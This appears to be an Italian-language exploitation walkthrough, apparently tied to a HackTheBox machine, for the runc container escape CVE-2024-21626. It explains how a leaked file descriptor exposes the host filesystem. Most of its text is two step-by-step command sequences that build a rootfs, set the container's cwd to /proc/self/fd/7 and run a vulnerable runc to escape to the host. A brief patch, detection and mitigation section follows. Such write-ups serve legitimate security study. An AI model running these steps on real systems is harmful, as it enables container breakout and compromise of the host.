CVE-2024-21626 - runc Vasi che perdono

Panoramica

Causa principale

runc perde un file descriptor interno (tipicamente fd/7) che punta alla directory di lavoro del filesystem host prima di eseguire il processo del contenitore. Impostando il cwd del contenitore in config.json su /proc/self/fd/7, il processo finisce in una directory dell'host anziché nel rootfs del contenitore — ottenendo una fuga dal contenitore.

Metodi di sfruttamento

Metodo 1 - Rootfs manuale dai binari dell'host

Costruisci un rootfs minimale copiando i binari direttamente dall'host:

# 1. Create directory structure
cd /tmp && mkdir -p strikoder/rootfs && cd strikoder
mkdir -p rootfs/lib64 rootfs/lib

# 2. Copy binaries and required libraries
cp -aL /bin rootfs/bin
cp /lib64/ld-linux-x86-64.so.2 rootfs/lib64/
cp -a /lib/x86_64-linux-gnu rootfs/lib

# 3. Generate default OCI config
runc spec

# 4. Patch cwd in config.json to point at leaked host fd
# Change: "cwd": "/"
# To:     "cwd": "/proc/self/fd/7"
vi config.json

# 5. Run the container with the vulnerable runc binary
sudo /opt/debug --log /tmp/log.json run strikontainer

Cosa succede: runc apre fd/7 che fa riferimento alla CWD dell'host prima di effettuare il pivot al rootfs del contenitore. Impostando cwd su /proc/self/fd/7, runc esegue chdir() nel percorso dell'host anziché in quello del contenitore — finendo sul filesystem reale.

Metodo 2 - Immagine Docker Alpine come rootfs

Se hai bisogno di un ambiente più completo o l'host ha binari limitati:

# --- On your attack machine ---
# Export a minimal Alpine filesystem
docker export $(docker create alpine:latest) > alpine.tar

# Transfer alpine.tar to the target, then:

# --- On target ---
mkdir -p /tmp/strikoder/rootfs && cd /tmp/strikoder
tar -xvf /path/to/alpine.tar -C rootfs

# Generate OCI bundle config
runc spec

# Patch cwd (same as Method 1)
vi config.json
# "cwd": "/proc/self/fd/7"

# Run
sudo /opt/debug --log /tmp/log.json run strikontainer

Rilevamento e Mitigazione

• Patch: Aggiorna runc a ≥ 1.1.12 (o ≥ 1.2.0-rc.2)
• Rilevamento: Monitora openat() su /proc/self/fd/ all'interno delle configurazioni cwd del contenitore; segnala bundle OCI con cwd contenente /proc/self/fd
• Mitigazione: Usa profili seccomp che limitano l'accesso a /proc; considera contenitori rootless o gVisor/Kata per un isolamento più forte

Riferimenti

• NVD: CVE-2024-21626
• runc GitHub Security Advisory
• Snyk Leaky Vessels Blog
• HackTheBox - GiveBack machine